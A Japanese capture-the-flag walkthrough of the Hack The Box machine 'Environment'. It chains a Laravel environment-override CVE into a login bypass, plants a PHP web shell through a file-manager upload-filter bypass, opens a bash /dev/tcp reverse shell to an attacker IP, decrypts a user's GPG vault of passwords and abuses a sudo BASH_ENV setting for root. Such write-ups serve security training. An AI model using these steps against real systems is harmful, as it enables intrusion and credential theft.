Environment 【M】

Environment はデバッグモードのLaravelサイトに対し、URL経由のCVEを悪用して環境を「preprod」に設定。デバッグクラッシュによる認証バイパスを利用して内部サイトにアクセス。さらに別のCVEでLaravelファイルマネージャーの制限を回避しWebシェルを設置。GPG鍵を取得してユーザー昇格後、BASH_ENVを保持できて,最後にsudo権限を悪用しルートへ昇格。

偵察(Recon)

Nmap

$sudo nmap -sV -sC -oA environment 10.10.11.67

# Nmap 7.95 scan initiated Sun Sep  7 21:39:59 2025 as: /usr/lib/nmap/nmap -sV -sC -vv -oA nmap/environment 10.10.11.67
Nmap scan report for environment.htb (10.10.11.67)
Host is up, received reset ttl 63 (0.18s latency).
Scanned at 2025-09-07 21:40:00 JST for 14s
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGrihP7aP61ww7KrHUutuC/GKOyHifRmeM070LMF7b6vguneFJ3dokS/UwZxcp+H82U2LL+patf3wEpLZz1oZdQ=
|   256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ7xeTjQWBwI6WERkd6C7qIKOCnXxGGtesEDTnFtL2f2
80/tcp open  http    syn-ack ttl 63 nginx 1.22.1
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-title: Save the Environment | environment.htb
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep  7 21:40:14 2025 -- 1 IP address (1 host up) scanned in 15.07 seconds

OpenSSHnginxのバージョンから判断すると、ホストはDebian12 Bookwormを実行していると思われます。Webサーバーはenvironment.htbにリダイレクトしています。ffufで簡単なスキャンを実行し、異なる応答を返すサブドメインがないか確認してみましたが、見つかりません。

初めに/etc/hostsファイルに以下を追加します。

10.10.11.67 environment.htb

Website - TCP 80

ページにはリンクがありませんでした。下部にはメーリングリストにメールアドレスを追加するフォームがあります。メールアドレスを入力すると、追加が成功した旨が表示されます:

そして、ページフッターには、サイトのバージョンが「Production v1.1」と記載されています:

Nuclei

次に、Nucleiスキャンを実行しました。Nucleiは、バージョン情報やHTTPレスポンスヘッダー、およびその2つのクッキーに関する詳細情報を列挙するのに役立ちます。このクッキーの情報から、それがLaravelであることがほぼ判明します。これらのクッキーはLaravelのクッキーです。2つ目のlaravel_sessionは、アプリケーションによって<何か別の名前>_sessionに改名される可能性がありますが、Laravelは常にXSRF-TOKENクッキーと_sessionクッキーの両方を設定します。

Laravelは私が何度もハッキング(調査・解析)した経験があるPHPフレームワークです。この404ページは、デフォルトのLaravelの404ページです。

どうやって判断しましたかといいますと0xdfさんのウェブでおきる404エラーページのチートシートがあります。

ディレクトリブルートフォース

  1. -b = ネガティブステータスコード(設定されている場合、status-codesを上書きします)。 403&404のエラーよく出てたため...

/login はログインフォームを表示します:

/mailing は、ユーザーがメールアドレスを送信した際の POST リクエストを受け取ります。

/up はステータスページを表示します:

/storage は 403 を返します。ここにはさらに多くのものが存在する可能性があります。これはファイルストレージなどに使用される Laravel の標準ディレクトリです。/build と /vendor も 403 を返し、Laravel にとってあまり重要ではないディレクトリです。

/upload は Laravel のデバッグページを返します:

こちらでは、Laravel 11.30.0 というバージョン番号以外に、あまり多くの情報を漏らしていません。

www-data ユーザーとしてシェルを実行

アクセス管理ダッシュボード

CVE-2024-52301 背景

このような場合、最も手っ取り早い方法は、対象ソフトウェアのバージョンのリリース日を確認することです。もし古いバージョンであれば、それに関連するCVE(共通脆弱性識別子)やPoC(概念実証コード)を調べるとよいでしょう。

CVE-2024-52301 は、このバージョンの Laravel に存在する脆弱性です:

PHP の register_argc_argv ディレクティブが有効に設定されている場合、ユーザーが特別に細工されたクエリ文字列を含む任意の URL を呼び出すと、リクエスト処理時にフレームワークが使用する環境を変更することが可能になります。

これは少し曖昧です。このページでより詳細に説明されています。php.iniファイルでregister_argc_argvが有効になっている場合、ユーザーは--env=devのようなGETパラメータを注入して、フレームワークが使用する環境を変更できます。

http://environment.htb/?--env=local にアクセスすると、ページフッターのバージョンが変更されます:

実際、任意の文字列(akuma)に変更可能です:

もう少しPHPスクリプト(<?php echo "Hello World" ?>)とかで遊んでみると:

私個人の間違えでもありますがスクリプト書き間違ったら(<?php echo="Hello World" ?>)スペースを=に:

クロスサイトスクリプティングもできなかった。ですが、これがどのように役立つかはまだ明らかではありません。

ログインページのエラー

明らかにLaravelのデバッグモードが動作しているようだ。Burp RepeaterにログインPOSTリクエストを送信し、少し試してみる。再送信するとリダイレクトが返ってくる:

空のメールやパスワードを送信しても、同じリダイレクトが送られるだけです。しかし、メールパラメータを完全に削除すると、クラッシュします:

デバッグモードであるため、多くの情報を含むようにレンダリングされます:

$keep_loggedinif / elseif で True または False に設定されています。75行目見ると、送信された値が「False」でも「True」でもない場合、75行目でクラッシュします。

メールパラメータを再追加し、rememberを「hello」に設定します:

79行目から83行目までアプリの環境変数が「preprod」に設定されている場合、認証検証をバイパスし、ID 1のユーザーとしてログインできることを示しています!

ログインバイパス

ログインページに戻り、Burp Proxyのインターセプトを有効にします。クライアントサイドの検証を満たす任意の認証情報でログインします。インターセプトされたリクエストでは、パスに ?--env=preprod を追加してみると:

ログインバイパスできいて、ブラウザが管理ダッシュボードを読み込んでくれました:

Shell経由のLaravelファイルマネージャー

ダッシュボード列挙

メインダッシュボードページはかなりシンプルです。操作できる要素は何もありません。「プロフィール」リンクから、現在のユーザーのプロフィール写真を更新できます:

現在、http://environment.htb/management/dashboard にアクセス可能ですが、先ほどバイパスログインに使用した ?--env=preprod のパラメータも、このhttp://environment.htb/management/dashboard?--env=preprodで利用できます。何か隠されたページが存在しないかを確認するため、このパラメータ--env=preprodを付けてアクセスしてみました。その結果、phpinfo のページが表示されました。

同様にこの方法(http://environment.htb/management/info?--env=preprod)で info ファイルにもアクセスでき、中身を確認したところ、特に有用な情報やパスワードなどは含まれていませんでした。

アップロード機能の不正動作

アップロードのPOSTリクエストをBurp Repeaterに送信しますとボディには2つのHTMLフォームデータが含まれていることを確認できます(写真:猫の写真 ※なるべく短いファイルサイズ):

画像にウェブシェルを埋め込むような試みはできますが、ファイルの拡張子が.png(または.php以外の任意の拡張子)である限り、コードは実行されません。.phpファイルをアップロードしようとするとこのように失敗します:

同じくコンテンツ配置の名前を「upload」から別の名前に変更するとエラーは発生するが、今回は完全なデバッグ出力は表示されない:

Laravel ファイルマネージャーを特定

オープンソースを検索する際に私が最も好む方法はgrep.appを使用することです。ここで使用されているパッケージは以下で入手できます:

grep.app : GitHubリポジトリからコード、ファイル、パスを手間なく検索できる

CVE-2024-21546

CVE-2024-21546は、バージョン2.9.1以前のunisharp/laravel-filemanagerに存在する脆弱性で、アップロードフィルタの回避を介したリモートコード実行(RCE)を引き起こす可能性があります。

理由:今回の条件でLaravelの脆弱性を調査したところ、ファイルアップロード機能に関連する最近の問題が該当しました。バージョン2.9.1以前のunisharp/laravel-filemanagerパッケージでは、正当なMIMEタイプを装いPHPファイル拡張子の後に「.」を挿入することでアップロードフィルタを回避でき、リモートコード実行(RCE)につながる恐れがあります。これにより攻撃者が悪意のあるコードを実行できる可能性があります。

リピーターに戻り、POSTリクエスト内のファイル名をakuma.phpに変更し、画像の大部分を切り取り、PNGヘッダーを表す最初の約10バイトを残します:

応答から、akuma.php ではなく akuma.php.. として保存されることが確認されました。/storage/files/akuma.php?cmd=id にアクセスすると以下が実行されます:

私はbashリバースシェルを入力するのが好きだ。cmd=bash -c 『bash -i %26 /dev/tcp/10.10.14.6/443 0>%261』 にアクセスすると、リスニング中のncでシェルが起動できました。

/home/hish ディレクトリ内の user.txt ファイルをゲットです

ところでシェルでタイピングしずらいですよね。この動画参考です

hishユーザーとしてシェルを実行

列挙

色々列挙後app/database/database.sqliteを見つけました。

www-data@environment:~/app/database$ sqlite3 database.sqlite 
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
cache                  jobs                   sessions             
cache_locks            mailing_list           users                
failed_jobs            migrations           
job_batches            password_reset_tokens

本当に興味深いテーブルはusersです:

sqlite> .headers on
sqlite> select * from users;
id|name|email|email_verified_at|password|remember_token|created_at|updated_at|profile_picture
1|Hish|hish@environment.htb||$2y$12$QPbeVM.u7VbN9KCeAJ.JA.WfWQVWQg0LopB9ILcC7akZ.q641r1gi||2025-01-07 01:51:54|2025-01-12 01:01:48|hish.png
2|Jono|jono@environment.htb||$2y$12$i.h1rug6NfC73tTb8XF0Y.W0GDBjrY5FBfsyX2wOAXfDWOUk9dphm||2025-01-07 01:52:35|2025-01-07 01:52:35|jono.png
3|Bethany|bethany@environment.htb||$2y$12$6kbg21YDMaGrt.iCUkP/s.yLEGAE2S78gWt.6MAODUD3JXFMS13J.||2025-01-07 01:53:18|2025-01-07 01:53:18|bethany.png

そして、気づいたのはwww-data は hish のホームディレクトリに対して完全なアクセス権を持っているようです:

www-data@environment:/home/hish$ find . -type f -ls
   136664      4 -rw-r--r--   1 hish     hish          430 May  6 00:30 ./backup/keyvault.gpg
   136658      4 -rw-r--r--   1 root     hish           33 Jan 12 11:50 ./user.txt
   130586      4 -rw-r--r--   1 hish     hish          220 Jan  6 21:28 ./.bash_logout
   156049      4 -rw-r--r--   1 hish     hish           98 Jan 12 10:23 ./.local/share/caddy/locks/storage_clean.lock
   156047      4 -rw-r--r--   1 hish     hish           36 Jan 12 10:23 ./.local/share/caddy/instance.uuid
   155848      4 -rw-r--r--   1 hish     hish            2 Jan 12 11:45 ./.local/share/nano/search_history
   136673      4 -rw-r--r--   1 hish     hish           13 Jan  6 21:43 ./.local/share/composer/.htaccess
   130563      4 -rwxr-xr-x   1 hish     hish         1945 Jan 12 03:13 ./.gnupg/private-keys-v1.d/C2DF4CF8B7B94F1EEC662473E275A0E483A95D24.key
   130567      4 -rwxr-xr-x   1 hish     hish         1945 Jan 12 03:13 ./.gnupg/private-keys-v1.d/3B966A35D4A711F02F64B80E464133B0F0DBCB04.key
   130568      4 -rwxr-xr-x   1 hish     hish         1280 Jan 12 11:48 ./.gnupg/trustdb.gpg
   130569      4 -rwxr-xr-x   1 hish     hish         1446 Jan 12 03:13 ./.gnupg/pubring.kbx
   130570      4 -rwxr-xr-x   1 hish     hish         1436 Jan 12 03:13 ./.gnupg/openpgp-revocs.d/F45830DFB638E66CD8B752A012F42AE5117FFD8E.rev
   130571      4 -rwxr-xr-x   1 hish     hish           32 Jan 12 03:11 ./.gnupg/pubring.kbx~
   130572      4 -rwxr-xr-x   1 hish     hish          600 Jan 12 11:48 ./.gnupg/random_seed
   130587      4 -rw-r--r--   1 hish     hish          807 Jan  6 21:28 ./.profile
   130588      4 -rw-r--r--   1 hish     hish         3526 Jan 12 14:42 ./.bashrc

backup/keyvault.gpg は興味深いですね。

そして、www-data は hish の .gnupg ディレクトリ内のすべてのファイルにアクセスできます。

www-data@environment:/home/hish$ ls -l .gnupg/
total 24
drwxr-xr-x 2 hish hish 4096 May  6 03:17 openpgp-revocs.d
drwxr-xr-x 2 hish hish 4096 May  6 03:17 private-keys-v1.d
-rwxr-xr-x 1 hish hish 1446 Jan 12 03:13 pubring.kbx
-rwxr-xr-x 1 hish hish   32 Jan 12 03:11 pubring.kbx~
-rwxr-xr-x 1 hish hish  600 Jan 12 11:48 random_seed
-rwxr-xr-x 1 hish hish 1280 Jan 12 11:48 trustdb.gpg

Keyvaultの復号化

gpgでファイルを復号するには、-dオプションとファイルを指定する必要があります。デフォルトでは現在のユーザーの.gnupgディレクトリから読み込もうとしますが、--home <ディレクトリ>で別の場所を指定できます。hishのディレクトリを使おうとしても、やはり失敗します:

www-data@environment:/$ gpg -d --home /home/hish/ /home/hish/backup/keyvault.gpg 
gpg: WARNING: unsafe ownership on homedir '/home/hish'
gpg: failed to create temporary file '/home/hish/.#lk0x000055979f145170.environment.24002': Permission denied
gpg: keyblock resource '/home/hish/pubring.kbx': Permission denied
gpg: encrypted with RSA key, ID B755B0EDD6CFCFD3
gpg: decryption failed: No secret key

そして、/home/hist に一時ファイルを書き込もうとしていますが、www-data にはその権限がありません。復号しようとしているファイル pubring.kbx は表示されています。

そのため、/dev/shm に使用する新しい「ホームディレクトリ」を作成し、GPG 関連のファイルをそこにコピーします:

www-data@environment:/$ mkdir -p /dev/shm/fakehome
www-data@environment:/$ cp -r /home/hish/.gnupg/ /dev/shm/fakehome

これで復号できます:

www-data@environment:/$ gpg -d --home /dev/shm/fakehome/.gnupg/ /home/hish/backup/keyvault.gpg 
gpg: WARNING: unsafe permissions on homedir '/dev/shm/fakehome/.gnupg'
gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
      "hish_ <hish@environment.htb>"
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!

そのパスワードは su を使用する hish ユーザーで有効かどうか確認:

www-data@environment:/$ su - hish
Password: 
hish@environment:~$

rootユーザーとしてシェルを実行

列挙

hishユーザーはsudoを使用してsysteminfoというスクリプトを任意のユーザーとして実行できます:

hish@environment:~$ sudo -l                                
[sudo] password for hish:
Matching Defaults entries for hish on environment:         
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,           
    env_keep+="ENV BASH_ENV", use_pty

User hish may run the following commands on environment:   
    (ALL) /usr/bin/systeminfo  

BASH_ENV

基礎

GNUドキュメントではBASH_ENVを次のように定義しています:

Bashがシェルスクリプトを実行するために呼び出された際にこの変数が設定されている場合、その値は展開され、スクリプト実行前に読み込む起動ファイルの名前として使用されます。詳細はBash起動ファイルを参照してください。

Bash 起動ファイルのセクションには、次のように記載されています:

非対話的に起動された場合

 Bashが非対話的に起動された場合(例えばシェルスクリプトを実行するため)、環境変数BASH_ENVを検索し、存在すればその値を展開し、展開後の値を読み込み実行するファイル名として使用します。Bashはあたかも以下のコマンドが実行されたかのように動作します:

if [ -n 「$BASH_ENV」 ]; then . 「$BASH_ENV」; fi

ただし、ファイル名の検索にはPATH変数の値は使用されません。

前述のように、非対話型シェルが–loginオプション付きで起動された場合、Bashはログインシェル起動ファイルからコマンドを読み込み実行しようと試みます。

スクリプトが開始されると、$BASH_ENV パス内のスクリプトが単純に実行される。

Exploit&フラグ

これを活用するために、bashを実行するシンプルなシェルスクリプトを書きました:

hish@environment:~$ cat /dev/shm/shell.sh 
#!/bin/bash

/bin/bash

sudoでBASH_ENVを設定した状態でsysteminfoを実行:

hish@environment:~$ BASH_ENV=/dev/shm/shell.sh sudo systeminfo 
root@environment:/home/hish#

そしてrootフラグを取得します:

root@environment:~# cat root.txt
e6740876************************

HAPPY Hacking

Last updated